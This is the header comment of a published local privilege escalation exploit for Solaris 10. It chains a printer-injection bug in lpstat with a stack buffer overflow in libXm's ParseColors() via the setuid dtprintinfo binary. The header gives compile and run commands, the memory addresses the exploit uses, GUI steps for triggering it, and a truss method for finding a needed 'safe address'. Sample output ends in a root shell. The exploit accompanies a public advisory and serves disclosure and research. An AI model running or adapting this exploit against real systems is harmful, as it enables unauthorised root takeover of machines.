* Exploit Title: Solaris 10 libXm - Buffer overflow Local privilege escalation

* there is nothing new under the Sun."
* -- Ecclesiastes 1:9

* #Solaris #CDE #0day #ForeverDay #WontFix
*
* This exploit illustrates yet another way to abuse the infamous dtprintinfo
* binary distributed with the Common Desktop Environment (CDE), a veritable
* treasure trove for bug hunters since the 1990s. It's not the most reliable
* exploit I've ever written, but I'm quite proud of the new vulnerabilities
* I've unearthed in dtprintinfo with the latest Solaris patches (CPU January
* 2021) applied. The exploit chain is structured as follows:
* 1. Inject a fake printer via the printer injection bug I found in lpstat.
* 2. Exploit the stack-based buffer overflow I found in libXm ParseColors().
* 3. Enjoy root privileges!
*
* For additional details on my bug hunting journey and on the vulnerabilities
* themselves, you can refer to the official advisory:
* https://github.com/0xdea/advisories/blob/master/HNS-2022-01-dtprintinfo.txt
*
* Usage:
* $ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall
* $ ./raptor_dtprintlibXmas 10.0.0.109:0
* raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE

*
* Using SI_PLATFORM : i86pc (5.10)
* Using stack base : 0x8047fff
* Using safe address : 0x8045790
* Using rwx_mem address : 0xfeffa004
* Using sc address : 0x8047fb4
* Using sprintf() address : 0xfefd1250
* Path of target binary : /usr/dt/bin/dtprintinfo
*
* On your X11 server:
* 1. Select the "fnord" printer, then click on "Selected" > "Properties".
* 2. Click on "Find Set" and choose "/tmp/.dt/icons" from the drop-down menu.
*
* Back to your original shell:
* # id
* uid=0(root) gid=1(other)
*
* IMPORTANT NOTE.
* The buffer overflow corrupts some critical variables in memory, which we
* need to fix. In order to do so, we must patch the hostile buffer at some
* fixed locations with the first argument of the last call to ParseColors().
* The easiest way to get such a safe address is via the special 0x41414141
* command-line argument and truss, as follows:
* $ truss -fae -u libXm:: ./raptor_dtprintlibXmas 10.0.0.109:0 0x41414141 2>OUT
* $ grep ParseColors OUT | tail -1
* 29181/1@1: -> libXm:ParseColors(0x8045770, 0x3, 0x1, 0x8045724)
* ^^^^^^^^^ << this is the safe address we need
*
* Tested on:
* SunOS 5.10 Generic_153154-01 i86pc i386 i86pc (CPU January 2021)
* [previous Solaris versions are also likely vulnerable]
